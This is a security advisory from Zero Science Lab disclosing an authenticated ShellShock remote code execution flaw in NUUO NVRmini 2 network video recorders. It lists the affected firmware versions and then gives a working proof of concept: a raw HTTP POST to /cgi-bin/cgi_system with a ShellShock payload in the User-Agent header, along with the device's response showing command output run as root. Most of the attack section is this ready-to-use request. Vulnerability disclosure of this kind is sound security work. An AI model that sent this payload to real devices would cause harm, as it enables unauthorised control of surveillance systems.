NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution
Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: Firmware Version: 02.02.00
NVR Version: 02.02.0000.0040
Device Pack Version: 04.07.0000.0030
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.
Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo suffers from authenticated ShellShock
vulnerability. This could allow an attacker to gain control over a targeted computer
if exploited successfully. The vulnerability affects Bash, a common component known
as a shell that appears in many versions of Linux and Unix.
Tested on: GNU/Linux 2.6.31.8 (armv5tel)
lighttpd/1.4.28
PHP/5.5.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5352
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5352.php
14.01.2016
--
POST /cgi-bin/cgi_system HTTP/1.1
Host: 10.0.0.17
Content-Length: 91
Origin: http://10.0.0.17
X-Requested-With: XMLHttpRequest
User-Agent: () { :;}; /bin/ls -al
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://10.0.0.17/protocol_ftp.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
Connection: close
cmd=ftp_setup&act=modify&com_port=21&pasv_port_from=1024&pasv_port_to=65535&services=enable
Response:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 15 Jan 2016 13:09:11 GMT
Server: lighttpd/1.4.28
Content-Length: 1652
drwxr-xr-x 3 root root 402 Oct 20 2014 .
drwxr-xr-x 6 root root 1024 Jan 4 22:49 ..
-rwxr-xr-x 1 root root 256564 Oct 20 2014 DaylightSavingWatcher
-rwxr-xr-x 1 root root 51376 Oct 20 2014 NuDatTool
-rwxr-xr-x 1 root root 60500 Oct 20 2014 NuDiscovery
-rwxr-xr-x 1 root root 930652 Oct 20 2014 NuHWMgn
-rwxr-xr-x 1 root root 8236 Oct 20 2014 NuNICWatcher
-rwxr-xr-x 1 root root 309 Oct 20 2014 after_mount.sh
lrwxrwxrwx 1 root root 7 Oct 20 2014 archive_mrg_mv -> lite_mv
-rwxr-xr-x 1 root root 1114844 Oct 20 2014 auto_upgrade
lrwxrwxrwx 1 root root 7 Oct 20 2014 cgi_main -> lite_mv
-rwxr-xr-x 1 root root 576992 Oct 20 2014 cgi_system
lrwxrwxrwx 1 root root 7 Oct 20 2014 ddns_update -> lite_mv
-rwxr-xr-x 1 root root 570 Oct 20 2014 getdhcpip.sh
-rwxr-xr-x 1 root root 388 Oct 20 2014 halt
drwxr-xr-x 2 root root 41 Oct 20 2014 lib
-rwxr-xr-x 1 root root 3827188 Oct 20 2014 lite_mv
-rwxr-xr-x 1 root root 15396 Oct 20 2014 nagent_mv
-rwxr-xr-x 1 root root 9836 Oct 20 2014 nu_btns
-rwxr-xr-x 1 root root 3496 Oct 20 2014 nudaemon
-rwxr-xr-x 1 root root 10616 Oct 20 2014 nufancontrol
-rwxr-xr-x 1 root root 12772 Oct 20 2014 nuklogd
-rwxr-xr-x 1 root root 392 Oct 20 2014 reboot
-rwxr-xr-x 1 root root 13144 Oct 20 2014 thwstat
FTP Setup OK
